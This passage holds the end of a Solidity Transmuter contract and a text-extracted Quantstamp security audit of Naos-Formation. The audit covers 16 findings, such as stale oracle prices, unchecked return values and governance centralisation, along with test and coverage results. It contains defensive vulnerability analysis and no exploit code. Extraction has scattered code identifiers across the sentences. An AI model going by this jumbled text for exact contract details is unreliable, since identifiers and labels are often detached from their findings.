plantable threshold. function setPlantableThreshold(uint256 _plantableThreshold) external onlyGov { plantableThreshold = _plantableThreshold; emit PlantableThresholdUpdated(_plantableThreshold); } /// @dev Sets the plantableThreshold margin for triggering the planting or recalling of funds on harvest /// /// This function reverts if the caller is not the current governance. /// /// @param _plantableMargin the new plantable margin. function setPlantableMargin(uint256 _plantableMargin) external onlyGov { plantableMargin = _plantableMargin; emit PlantableMarginUpdated(_plantableMargin); } /// @dev Sets if the contract should enter emergency exit mode. /// /// There are 2 main reasons to pause: /// 1. Need to shut down deposits in case of an emergency in one of the vaults /// 2. Need to migrate to a new transmuter /// /// While the transmuter is paused, deposit() and distribute() are disabled /// /// @param _pause if the contract should enter emergency exit mode. function setPause(bool _pause) external { require(msg.sender == governance || msg.sender == sentinel, "!(gov || sentinel)"); pause = _pause; emit PauseUpdated(_pause); } /// @dev Harvests yield from a vault. /// /// @param _vaultId the identifier of the vault to harvest from. /// /// @return the amount of funds that were harvested from the vault. function harvest(uint256 _vaultId) external onlyKeeper returns (uint256, uint256) { VaultV2.Data storage _vault = _vaults.get(_vaultId); (uint256 _harvestedAmount, uint256 _decreasedValue) = _vault.harvest(rewards); emit FundsHarvested(_harvestedAmount, _decreasedValue); return (_harvestedAmount, _decreasedValue); } /// @dev Sets the rewards contract. /// /// This function reverts if the new rewards contract is the zero address or the caller is not the current governance. /// /// @param _rewards the new rewards contract. function setRewards(address _rewards) external onlyGov { // Check that the rewards address is not the zero address. Setting the rewards to the zero address would break // transfers to the address because of `safeTransfer` checks. require(_rewards != ZERO_ADDRESS, "Transmuter: rewards address cannot be 0x0."); rewards = _rewards; emit RewardsUpdated(_rewards); } /// @dev Migrates transmuter funds to a new transmuter /// /// @param migrateTo address of the new transmuter function migrateFunds(address migrateTo) external onlyGov { require(migrateTo != ZERO_ADDRESS, "cannot migrate to 0x0"); require(pause, "migrate: set emergency exit first"); // leave enough funds to service any pending transmutations uint256 totalFunds = IERC20Burnable(Token).balanceOf(address(this)); uint256 migratableFunds = totalFunds.sub(totalSupplyNtokens.div(USDT_CONST), "not enough funds to service stakes"); require(IERC20Burnable(Token).approve(migrateTo, migratableFunds), "Transmuter: failed to approve tokens"); ITransmuter(migrateTo).distribute(address(this), migratableFunds); emit MigrationComplete(migrateTo, migratableFunds); } }
June 13th 2021— Quantstamp Verified Naos-Formation This smart contract audit was prepared by Quantstamp, the leader in blockchain security. Executive Summary Type Ethereum Auditors Sung-Shine Lee , Research EngineerKacper Bąk , Senior Research EngineerEd Zulkoski , Senior Security EngineerTimeline 2021-05-19 through 2021-06-11 EVM Muir Glacier Languages Solidity Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification None Documentation Quality Medium Test Quality Medium Source Code Repository Commit NAOS-Formation 19f4967 None c12527 Total Issues 16 (13 Resolved)High Risk Issues 0 (0 Resolved)Medium Risk Issues 3 (2 Resolved)Low Risk Issues 5 (4 Resolved)Informational Risk Issues 7 (6 Resolved)Undetermined Risk Issues 1 (1 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged The issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Mitigated Implemented actions to minimize the impact or likelihood of the risk. Summary of FindingsDuring the engagement, a high level overview of the system was provided to the auditing team, but the specification isn't complete in the technical level. We have identified a total of 16 issues, ranging from Medium to Informational Risk. Overall, the system would benefit from adding checks to the return values of external protocol and user inputs. Notably, the system uses deprecated Chainlink api and doesn't check validity of the data, which brings the risk of stale oracle price. The lack of check also made it possible to add the same adapter to the system multiple times. Lastly, due to the existence of and how it's used, we recommend to be cautious when integrating with external protocols and make sure the assumptions hold. We recommend addressing all issues before using the code in production. flushActiveVault()Update: As per , Naos team provided fixes and acknowledgements for the issues. QSP-1 is partially fixed as it is still possible to migrate to the same adapter, if the adapter was not the last adapter. c125272ID Description Severity Status QSP- 1 Possible to migrate to the same adapter Medium Mitigated QSP- 2 Unchecked Return Value Medium Acknowledged QSP- 3 Oracle price could be stale Medium Fixed QSP- 4 Unchecked function arguments Low Fixed QSP- 5 Privileged Roles and Ownership Low Acknowledged QSP- 6 does not follow the spec completely IsHealthy() Low Fixed QSP- 7 does not check if is a new user forceTransmute msg.sender Low Fixed QSP- 8 Intended revert not present in flushActiveVault() Low Fixed QSP- 9 Unlocked Pragma Informational Fixed QSP- 10 Using experimental ABIEncoderV2 Informational Fixed QSP- 11 Gas-usage for-loop concerns Informational Fixed QSP- 12 has no access-control YearnVaultAdapter.deposit Informational Fixed QSP- 13 Economic attack vector exists due to flush() Informational Acknowledged QSP- 14 Unnecessary flush() Informational Fixed QSP- 15 TimeToken contract does not seem to be used Informational Fixed QSP- 16 Default amount depends on token decimals flushActivator Undetermined Fixed Quantstamp Audit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Possible issues we looked for included (but are not limited to): Transaction-ordering dependence •Timestamp dependence •Mishandled exceptions and call stack limits •Unsafe external calls •Integer overflow / underflow •Number rounding errors •Reentrancy and cross-function vulnerabilities •Denial of service / logical oversights •Access control •Centralization of power •Business logic contradicting the specification •Code clones, functionality duplication •Gas usage •Arbitrary token minting •Methodology The Quantstamp auditing process follows a routine series of steps: 1. Code review that includes the following i. Review of the specifications, sources, and instructions provided to Quantstamp to make sure we understand the size, scope, and functionality of the smart contract. ii. Manual review of code, which is the process of reading source code line-by-line in an attempt to identify potential vulnerabilities. iii. Comparison to specification, which is the process of checking whether the code does what the specifications, sources, and instructions provided to Quantstamp describe. 2. Testing and automated analysis that includes the following: i. Test coverage analysis, which is the process of determining whether the test cases are actually covering the code and how much code is exercised when we run those test cases. ii. Symbolic execution, which is analyzing a program to determine what inputs cause each part of a program to execute. 3. Best practices review, which is a review of the smart contracts to improve efficiency, effectiveness, clarify, maintainability, security, and control based on the established industry and academic practices, recommendations, and research. 4. Specific, itemized, and actionable recommendations to help you take steps to secure your smart contracts. Toolset The notes below outline the setup and steps performed in the process of this audit . SetupTool Setup: v0.8.0 • Slitherv0.2.7 • MythrilSteps taken to run the tools: 1. Installed the Slither tool:pip install slither-analyzer 2. Run Slither from the project directory:slither . 3. Installed the Mythril tool from Pypi:pip3 install mythril 4. Ran the Mythril tool on each contract:myth -x path/to/contract Findings QSP-1 Possible to migrate to the same adapter Severity: Medium Risk Mitigated Status: File(s) affected: Formation.sol Using to invoke may add add the same adapter multiple times. This would cause accounting errors between Formation and the adapter. While the function is limited to the governance, checks should be in place to prevent incorrect behaviour. Description:migrate() _updateActiveVault() migrate() We suggest adding relevant checks to remove such possibilities. Recommendation: As of , only the last adapter is checked, however formation could still erroneously add previously added adapter other than the last one. Update: c125272 QSP-2 Unchecked Return Value Severity: Medium Risk Acknowledged Status: File(s) affected: YearnVaultAdapter.sol Most functions will return a or value upon success. Some functions, like , are more crucial to check than others. It's important to ensure that every relevant function is checked. Description:true falsesend() in , L63, 73: return value not checked • YearnVaultAdapter.solAdd relevant checks, especially when interacting with external protocols, to ensure integration works properly. Recommendation: Naos response: "Return value from yearn is not a simple True/False, therefore unable to make a clear cut decision based on the response. Emergency mode can be set to stop the depositing." Update:QSP-3 Oracle price could be stale Severity: Medium Risk Fixed Status: , : the price fetching function Chainlink API ( ) has been declared deprecated by Chainlink and may be outdated. Furthermore, was used but its return value and are not checked, and therefore the data could be arbitrarily old. Description:Formation.sol L661 latestAnswer() latestAnswer() updatedAt answeredInRound Use the current Chainlink API and check that and are recent. Recommendation: updatedAt answeredInRound Naos team has updated the deprecated function. Update: QSP-4 Unchecked function arguments Severity: Low Risk Fixed Status: , , , File(s) affected: YearnVaultAdapter.sol Transmuter.sol StakingPools.sol Formation.sol Some arguments in functions are not checked against zero. This leaves space for human-error and allows the arguments to be zero, which typically would simply revert, but in some cases it would result in transferring tokens to the address and burning them. Description:0x0 1. does not check that is non-zero. StakingPools.constructor _reward 2. does not check that is non-zero. StakingPools._token _token 3. does not check that and are non-zero. Transmuter.constructor _NToken _Token 4. does not check that is non-zero. Transmuter.setTransmutationPeriod newTransmutationPeriod 5. should check that and are non-zero. YearnVaultAdapter.constructor _vault _admin 6. should check that and are non-zero. Formation.constructor _token _xtoken We suggest adding relevant requirement statement to ensure the validity of function arguments. Recommendation: QSP-5 Privileged Roles and OwnershipSeverity: Low Risk Acknowledged Status: , , , , , File(s) affected: NAOSToken.sol NToken.sol Transmuter.sol StakingPools.sol Formation.sol TimeToken.sol Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. The governance of the system holds significant amount of power. For example, through governance, it is possible to mint infinite amount of NTokens and Naos. Description:owner 1. Inand , the minter may mint tokens arbitrarily. NAOSToken TimeToken.sol 2. In, the governance may set arbitrary minting rates and proportions for each pool. StakingPools 3. In, any whitelisted address can transfer tokens into the buffer from any other address that has approved the contract. Transmuter.distribute Transmuter 4. In, the governance can set important addresses such as the , or , which in the worst case could steal all funds. Formation.sol oracle transmuterrewards This centralization of power needs to be made clear to the users, especially depending on the level of privilege the contract allows to the owner. Relevant mitigation plans should be communicated to the users too. Recommendation:Naops response: "After deployment, the governance role will be transferred to the NAOS multisig account which consists of NAOS core team members and trusted community members. The setting will follow the decision of the NAOS governance process. " Update:QSP-6 does not follow the spec completely IsHealthy() Severity: Low Risk Fixed Status: File(s) affected: CDP.sol The documentation states that "A CDP is healthy if its collateralization ratio is greater than the global collateralization limit.". However, in of , it returns true if the ratio is equal as well. Description:L59 CDP.solAlign the specification with the implementation. Recommendation: The code is deemed correct and comments were updated accordingly. Update: QSP-7 does not check if is a new user forceTransmute msg.sender Severity: Low Risk Fixed Status: A fresh address could invoke , in which case the bookkeeping handled by will be incorrect. Description: forceTransmute() checkIfNewUser() Add a check to . Recommendation: checkIfNewUser(msg.sender) forceTransmute() Naos has fixed the issue as recommended. Update: QSP-8 Intended revert not present in flushActiveVault() Severity: Low Risk Fixed Status: , states that "This function reverts if an emergency exit is active.". The intended revert is not present. Considering this is present for emergency, the lack of this revert may allow the attacker to forcefully push funds into the external protocol. If the external protocol was vulnerable and under attack, this exposes the funds in Formation to the attack as well. Description:Formation.sol L440 Add the revert intended in the comments. Recommendation: Naos has fixed the issue as recommended. Update: QSP-9 Unlocked Pragma Severity: Informational Fixed Status: Every Solidity file specifies in the header a version number of the format . The caret ( ) before the version number implies an unlocked pragma, meaning that the compiler will use the specified version , hence the term "unlocked". Description:pragma solidity (^)0.4.* ^ and above For consistency and to prevent unexpected behavior in the future, it is recommended to remove the caret to lock the file onto a specific Solidity version. Recommendation: Naos has fixed the issue as recommended. The version is locked to 0.6.12. Update: QSP-10 Using experimental ABIEncoderV2 Severity: Informational Fixed Status: The contracts declare the experimental feature ABIEnconderV2. As it is an experimental feature, it is more likely to include unknown bugs in the implementation. Description: Check if the ABIEncoderV2 feature is required for the contracts. Remove the experimental feature if it is not needed. Recommendation: Naos has fixed the issue as recommended. Update: QSP-11 Gas-usage for-loop concerns Severity:Informational Fixed Status: File(s) affected: MultiSigWallet.sol, StakingPools.sol 1. The function iterates over the entire transaction history on L384, even though only transaction with indices in the range are under consideration. If the wallet has a long transaction history, this may cause an unnecessary amount of storage load ( ) operations, and the function may fail due to gas limits. Although the function is declared , clients may not execute functions beyond the gas-limit, and external contracts may try to invoke the function. Description:MultiSigWallet.getTransactionIds [from, to) SLOAD view web31. could fail if too many pools are added. StakingPools._updatePools In , change the first for-loop to only iterate from indices to . In general, perform gas analysis to ensure loops will not exceed acceptable bounds in practice. Recommendation:MultiSigWallet.getTransactionIds from toNaos has fixed the issue as recommended and updated comments accordingly. Update: QSP-12 has no access-control YearnVaultAdapter.deposit Severity: Informational Fixed Status: File(s) affected: YearnVaultAdapter.sol If a user accidentally deposits to this contract instead of the expected contract, they will not be credited for their funds. Description: Formation Restrict the function such that it is only callable from the relevant contracts. Recommendation: Naos has fixed the issue as recommended. Update: QSP-13 Economic attack vector exists due to flush() Severity: Informational Acknowledged Status: File(s) affected: Formation.sol As "flush" pushes the funds from Formation to the underlying vault, this forces an exchange of assets from underlying token to the external vault's share token. To be safe from economic exploits, it is essential that the share price of the vault cannot be manipulated in a single transaction. Description:Always verify the behaviour of share price when adding an external protocol. The share price of the external protocol has to be monotonically increasing and cannot be manipulated in a single transaction. Recommendation:Naos response: "The team would choose the DeFi project(s) carefully as the underlying vault. Also, the sentinel could set emergency mode to stop the depositing." Update: QSP-14 Unnecessary flush() Severity: Informational Fixed Status: File(s) affected: Formation.sol The purpose of is to push the funds from to the external protocol. Thus, it is unclear why is activated in when the specified is higher then the predefined threshold. When users withdraw more, the action tends to empty the Formation contract and there is no need to activate at all. Description:flush() Formation flush() withdraw() amount flush() We suggest reviewing the logic and verifying if this is the desired behavior. Recommendation: Naos has removed the activation flush() when the user withdraws a higher amount than the predefined threshold. Update: QSP-15 TimeToken contract does not seem to be used Severity: Informational Fixed Status: File(s) affected: TimeToken.sol The TimeToken contract does not seem to be used in the system. It is also not present in the tests. Description: Remove if the contract is not necessary. Recommendation: The contract has been removed. Update: QSP-16 Default amount depends on token decimals flushActivator Severity: Undetermined Fixed Status: File(s) affected: Formation.sol The sets with the added comment "change for non 18 digit tokens". It is not clear which tokens will be used, but if their decimal values are significantly different than 18, this amount will be too small or large. Description:constructor flushActivator = 100000 ether Clarify which tokens will be used. Ensure that is used if . Recommendation: setFlushActivator token.decimals != 18 The flushActivator argument is added as an input parameter for the user to adjust the value. A recommended value added in the comment for user’s reference. Update: Adherence to SpecificationThe behaviour stated in , is not enforced. • Formation.sol L440 Code Documentation 1. Inon L324, "filers" should be "filters". MultiSigWallet.sol 2. Inon L187, there is a comment "// FIXME", however it is unclear if any issue still exists here. StakingPools.sol 3. The comment block inon L12-34 appears copied from one of the OpenZeppelin -related contracts, and does not help describe itself. In general, this file requires significantly more inline documentation. Transmuter.solERC20 Transmuter 4. Inon L157, "movemetns" should be "movements". Formation.sol 5. The comment onshould say "Checks that caller is an eoa." (remove "not"). Formation.sol#666 6. The functionhas the comment "A CDP is healthy if its collateralization ratio is greater than the global collateralization limit.", but the function checks for . CDP.isHealthy>= Adherence to Best Practices the modifier changes state due to assignments. The name would suggest that it is a query, although it is not. • Transmuter.checkIfNewUser , , it's unclear why is necessary • StakingPools.sol#124Formation.sol#231 _pendingGovernance : fixme • StakingPools.sol#187, L191-194, L394: commented out code • Formation.soluses deprecated Chainlink API. • IChainlink.solFavor using instead of . • uint256 uint should explicitly return false after the for-loop. • MultiSigWallet.isConfirmedIn , and should emit events to facilitate tracking state variables. • NToken.solsetWhitelist setBlacklist In , the commented code on L191-194,394 should be removed.* . In on 325, the statement should have an error message. • Formation.solFormation.sol require The internal function is not used anywhere in the project and could be removed. • Formation._expectCaller Test Results Test Suite Results Formation constructor when token is the zero address ✓ reverts when xtoken is the zero address ✓ reverts when governance is the zero address ✓ reverts when sentinel is the zero address ✓ reverts when flushActivator is set to zero ✓ reverts update Formation addys and variables set governance when caller is not current governance ✓ reverts when caller is current governance ✓ reverts when setting governance to zero address ✓ updates rewards (77ms) set transmuter when caller is not current governance ✓ reverts when caller is current governance ✓ reverts when setting transmuter to zero address ✓ updates transmuter set rewards when caller is not current governance ✓ reverts when caller is current governance ✓ reverts when setting rewards to zero address ✓ updates rewards set peformance fee when caller is not current governance ✓ reverts when caller is current governance ✓ reverts when performance fee greater than maximum ✓ updates performance fee set collateralization limit when caller is not current governance ✓ reverts when caller is current governance ✓ reverts when performance fee less than minimum ✓ reverts when performance fee greater than maximum ✓ updates collateralization limit (44ms) vault actions migrate when caller is not current governance ✓ reverts when caller is current governance when adapter is zero address ✓ reverts when adapter is same as current active vault ✓ reverts when adapter token mismatches ✓ reverts when conditions are met ✓ increments the vault count ✓ sets the vaults adapter recall funds from the active vault ✓ reverts when not an emergency, not governance, and user does not have permission to recall funds from active vault ✓ governance can recall some of the funds (207ms) ✓ governance can recall all of the funds (149ms) in an emergency ✓ anyone can recall funds (109ms) ✓ after some usage (238ms) from an inactive vault ✓ anyone can recall some of the funds to the contract (53ms) ✓ anyone can recall all of the funds to the contract (54ms) in an emergency ✓ anyone can recall funds (71ms) flush funds when the Formation is not initialized✓ reverts when there is at least one vault to flush to when there is one vault ✓ flushes funds to the vault when there are multiple vaults ✓ flushes funds to the active vault deposit and withdraw tokens ✓ deposited amount is accounted for correctly (41ms) ✓ deposits token and then withdraws all (105ms) ✓ reverts when withdrawing too much (38ms) ✓ reverts when cdp is undercollateralized (78ms) ✓ deposits, mints, repays, and withdraws (169ms) ✓ deposits 5000 DAI, mints 1000 nUSD, and withdraws 3000 DAI (123ms) flushActivator ✓ deposit() flushes funds if amount >= flushActivator (67ms) ✓ deposit() does not flush funds if amount < flushActivator (48ms) repay and liquidate tokens ✓ repay with dai reverts when nothing is minted and transmuter has no nUsd deposits ✓ liquidate max amount possible if trying to liquidate too much (173ms) ✓ liquidates funds from vault if not enough in the buffer (278ms) ✓ liquidates the minimum necessary from the formation buffer (238ms) ✓ deposits, mints nUsd, repays, and has no outstanding debt (180ms) ✓ deposits, mints, repays, and has no outstanding debt (139ms) ✓ deposits, mints nUsd, repays with nUsd and DAI, and has no outstanding debt (193ms) ✓ deposits and liquidates DAI (193ms) mint ✓ reverts if the Formation is not whitelisted is whiltelisted ✓ reverts if the Formation is blacklisted (57ms) ✓ reverts when trying to mint too much ✓ reverts if the ceiling was breached (49ms) ✓ mints successfully to depositor (99ms) flushActivator ✓ mint() flushes funds if amount >= flushActivator (203ms) ✓ mint() does not flush funds if amount < flushActivator (182ms) harvest ✓ harvests yield from the vault (101ms) ✓ sends the harvest fee to the rewards address (98ms) ✓ does not update any balances if there is nothing to harvest (49ms) NaosToken ✓ grants the admin role to the deployer ✓ grants the minter role to the deployer mint when unauthorized ✓ reverts when authorized ✓ mints tokens StakingPools when reward token address is the zero address ✓ reverts set governance ✓ only allows governance when caller is governance ✓ prevents getting stuck ✓ sets the pending governance ✓ updates governance upon acceptance ✓ emits GovernanceUpdated event set reward rate ✓ only allows governance to call when caller is governance ✓ updates reward rate ✓ emits RewardRateUpdated event create pool ✓ only allows governance to call when caller is governance ✓ only allows none-zero token address ✓ emits PoolCreated event when reusing token ✓ reverts set pool reward weights ✓ only allows governance to call when caller is governance ✓ reverts when weight array length mismatches with one pool ✓ updates the total reward weight ✓ updates the reward weights with many pools ✓ updates the total reward weight ✓ updates the reward weights (38ms) deposit tokens with no previous deposits ✓ increments total deposited amount ✓ increments deposited amount ✓ transfers deposited tokens ✓ does not reward tokens with previous deposits ✓ increments total deposited amount ✓ increments deposited amount ✓ transfers deposited tokens withdraw tokens with previous deposits ✓ decrements total deposited amount ✓ decrements deposited amount ✓ transfers deposited tokens claim tokens with deposit ✓ mints reward tokens ✓ clears unclaimed amount with multiple deposits ✓ mints reward tokens ✓ clears unclaimed amount get stake unclaimed amount with deposit ✓ properly calculates the balance with multiple deposits ✓ properly calculates the balance Transmuter when NToken is the zero address ✓ reverts when token is the zero address ✓ reverts stake() ✓ stakes 1000 nUsd and reads the correct amount (39ms) ✓ stakes 1000 nUsd two times and reads the correct amount (65ms) unstake() ✓ reverts on depositing and then unstaking balance greater than deposit ✓ deposits and unstakes 1000 nUSD (60ms) ✓ deposits 1000 nUSD and unstaked 500 nUSD (62ms) distributes correct amount ✓ deposits 100000 nUSD, distributes 1000 DAI, and the correct amount of tokens are distributed to depositor (76ms) ✓ two people deposit equal amounts and recieve equal amounts in distribution (123ms) ✓ deposits of 500, 250, and 250 from three people and distribution is correct (180ms) transmute() claim() transmuteAndClaim() ✓ transmutes the correct amount (135ms) ✓ burns the supply of nUSD on transmute() (111ms) ✓ moves DAI from pendingdivs to inbucket upon staking more (111ms) ✓ transmutes and claims using transmute() and then claim() (147ms) ✓ transmutes and claims using transmuteAndClaim() (137ms) ✓ transmutes the full buffer if a complete phase has passed (153ms) ✓ transmutes the staked amount and distributes overflow if a bucket overflows (596ms) transmuteClaimAndWithdraw() ✓ has a staking balance of 0 nUSD after transmuteClaimAndWithdraw() ✓ returns the amount of nUSD staked less the transmuted amount ✓ burns the correct amount of transmuted nUSD using transmuteClaimAndWithdraw() ✓ successfully sends DAI to owner using transmuteClaimAndWithdraw() exit() ✓ transmutes and then withdraws nUSD from staking ✓ transmutes and claimable DAI moves to realised value ✓ does not claim the realized tokens forceTransmute() ✓ User 'depositor' has nUSD overfilled, user 'minter' force transmutes user 'depositor' and user 'depositor' has DAI sent to his address (149ms) ✓ User 'depositor' has nUSD overfilled, user 'minter' force transmutes user 'depositor' and user 'minter' overflow added inbucket (138ms) ✓ you can force transmute yourself (157ms) ✓ you can force transmute yourself even when you are the only one in the transmuter (106ms) ✓ reverts when you are not overfilled (51ms) Multiple Users displays all overfilled users ✓ returns userInfo (113ms) distribute() ✓ must be whitelisted to call distribute (39ms) ✓ increases buffer size, but does not immediately increase allocations (90ms) userInfo() ✓ distribute increases allocations if the buffer is already > 0 (93ms) ✓ increases buffer size, and userInfo() shows the correct state without an extra nudge (97ms) 137 passing (2m) Code CoverageWhile there are already plenty of tests in the test suite, the coverage data shows that the security could improve from adding more tests. Specifically, the coverage is critically low on the important contracts (e.g. ). We recommend to add more tests to cover all the statements and branch. CDP.solFile % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 70.78 55.09 64.23 69.66 Formation.sol 86.47 72.62 82.05 86.78 … 667,668,669 MultiSigWallet.sol 0 0 0 0 … 393,394,395 MultiSigWalletWithTimelock.sol 0 0 0 0 … 115,123,124 NAOSToken.sol 100 100 100 100 NToken.sol 88.46 75 84.62 89.66 89,100,101 StakingPools.sol 87.64 83.33 83.33 86.81 … 282,311,312 Transmuter.sol 93.65 69.57 91.67 93.94 … 446,448,450 contracts/ adapters/ 100 50 100 100 YearnVaultAdapter.sol 100 50 100 100 contracts/ interfaces/ 100 100 100 100 IChainlink.sol 100 100 100 100 ICurveMetaFactory.sol 100 100 100 100 IDetailedERC20.sol 100 100 100 100 IERC20Burnable.sol 100 100 100 100 IMintableERC20.sol 100 100 100 100 ITransmuter.sol 100 100 100 100 IVaultAdapter.sol 100 100 100 100 IYearnController.sol 100 100 100 100 IYearnVault.sol 100 100 100 100 IyVaultV2.sol 100 100 100 100 contracts/ libraries/ 91.3 64.29 80 91.3 FixedPointMath.sol 91.3 64.29 80 91.3 29,39 contracts/ libraries/ formation/ 75 50 90 75 CDP.sol 53.13 43.75 85.71 53.13 … 3,84,87,104 Vault.sol 96.88 100 92.31 96.88 98 contracts/ libraries/ pools/ 89.29 100 80 89.29 Pool.sol 85 100 75 85 112,121,122 Stake.sol 100 100 100 100 contracts/ mocks/ 60.47 50 61.9 60.47 ERC20Mock.sol 66.67 100 66.67 66.67 20 VaultAdapterMock.sol 100 100 100 100 YearnControllerMock.sol 25 100 25 25 22,32,36 YearnVaultMock.sol 59.38 50 55.56 59.38 … 73,74,88,89 All files 72.57 56.34 69.57 71.68 AppendixFile Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after the security review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 010d87f5b749174a18d32d577c37949b72ad1220ac1dc78205686418f7f231a5 ./contracts/mocks/YearnControllerMock.sol d3689277b208ab3673fecc79d813ee3dc8b1d870943c136c6ec79b336311e622 ./contracts/mocks/VaultAdapterMock.sol c64f648cfe9d272b9326f51e8a98a4f420315da2779c4e1085026a34c6cdfc0e ./contracts/mocks/ERC20Mock.sol 70ea3e5f36c0eee2a91541e552f69d7b9747a0c4b505a21fd42c2b8fef35368e ./contracts/mocks/YearnVaultMock.sol 3b57da08608868578027de8528ec77473f12cf27b28369505d69fc42a0450a8f ./contracts/Transmuter.sol 883511ce5a876498ae9d4efb92b001810bfb3b6d66abbf74c6ec0ff2b3b1f2ac ./contracts/NToken.sol 2ddead147290d78d8de785104378fa75e821715faaac2cda7ffdfcb568c68892 ./contracts/StakingPools.sol 87103d310f77815f0889436bd18d748fee8094df16e47bcad540188e3d268fbe ./contracts/MultiSigWallet.sol e42835e481637c651a99965c4950964283a2646d9e9dc8ccaf815c3912f3e50f ./contracts/libraries/pools/Pool.sol 7ceab35ebf7ce6ac1f19010d6208e6c23a3da703b0dee2a95956cec5e0d64b11 ./contracts/libraries/pools/Stake.sol 74bb52436690fa3ce30af2396d5714e2518ec5cb42aa8f6fba45bd15446c8cd5 ./contracts/libraries/formation/CDP.sol a223043d557bb6a8d4097913cad5dbd9aded2666fcd9dbfb4a6844e02ccbea90 ./contracts/libraries/formation/Vault.sol 7fc3ca4d813aaf6211b850cfb3816eba4b4b40e7df1fb9c3b84610cc19d208e1 ./contracts/libraries/FixedPointMath.sol 774d3393fdfc226b005ce248e02aba440d2db0d51cfa9611f7b3f5e533d34651 ./contracts/MultiSigWalletWithTimelock.sol c7e04d7da6b87930d12c9d456908132903d0bcc7b06f4977a593f8fe496fb50e ./contracts/adapters/YearnVaultAdapter.sol c52158c891cb4c9b7a9cb9b1c24b611bb89be62b0dfeeef7cb07d41cd09576aa ./contracts/NAOSToken.sol 6951d3153bf7563580eab2c6187b2c4fc94d6e5091f059de6e82a294e051199c ./contracts/Formation.sol 6cd1f951a3d8c2fb50f9a80ca8751f327173c3e89f322a40f6f56291ccc3608f ./contracts/interfaces/ICurveMetaFactory.sol 1d52f58d8414170b5079ea564c9ae5b4c8ef6b9b007b8881da47f419582ad63e ./contracts/interfaces/IERC20Burnable.sol 7f2ebe1fa159bdd88f979a6da1524a7d19fcaaa7b1caf2c3227da7891d1fd7c7 ./contracts/interfaces/IYearnVault.sol b1afb5498f28599b468df335be07b2616a9bdde000b16f3d6a54f09ad93b0d22 ./contracts/interfaces/IYearnController.sol 8a785a54386f44d774fad87791e7bb0506ba4b9554346c59f7cc424aae5b3c41 ./contracts/interfaces/IyVaultV2.sol e1a5a084aca37d6da955fc81743790f3766848ba34a615fbb3c3837d495b6cf2 ./contracts/interfaces/IMintableERC20.sol d3f7a322fdf28948786c95358182262e507fd3adcb418e298cb459f9d6e6bb10 ./contracts/interfaces/IChainlink.sol 851a30759b81adaa9138bdd8f65a255e87532bf8e8c13878c213b5d35f2efef2 ./contracts/interfaces/IDetailedERC20.sol 23dfc93a8801d4f8ae158292634d3e614a39748575d08ea2a08accb75342af3e ./contracts/interfaces/ITransmuter.sol 110da5ee996d6abc7f66a66a1495715adc7395fbeaa1718521f252b522a0b40d ./contracts/interfaces/IVaultAdapter.sol Tests ba24f168908a0045631e50e357fc89e51d5fe4a019b0e93a24184c6d4a0d81b5 ./test/contracts/Formation.spec.ts 7917f298bccd1312efafb1883e1a2f58172d9827b45cd895f74c502c59989e9e ./test/contracts/StakingPools.spec.ts cf4e99125c1fdcb206a257e01d0dfadcbc5f239dd5c322059f776345b1317675 ./test/contracts/NAOSToken.spec.ts 427ee05cfa97c00ef3ed97a85a57f72815c7d0aad1cd20a0b6ef762da0852613 ./test/contracts/Transmuter.spec.ts 0f683d627b09bf1fea3a59870a060156067519de76ffa85e1442b91aabe9e446 ./test/utils/helpers.ts a51aec117e9dc151f05b2faab9dbe998642b957f798f044b1611c0b5283aae72 ./test/utils/ethereum.ts Changelog 2021-05-28 - Initial report •About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure blockchain platforms at scale using computer-aided reasoning tools, with a mission to help boost the adoption of this exponentially growing technology. With over 1000 Google scholar citations and numerous published papers, Quantstamp's team has decades of combined experience in formal verification, static analysis, and software verification. Quantstamp has also developed a protocol to help smart contract developers and projects worldwide to perform cost-effective smart contract security scans. To date, Quantstamp has protected $5B in digital asset risk from hackers and assisted dozens of blockchain projects globally through its white glove security assessment services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Quantstamp's collaborations with leading academic institutions such as the National University of Singapore and MIT (Massachusetts Institute of Technology) reflect our commitment to research, development, and enabling world-class blockchain security. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third-party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of 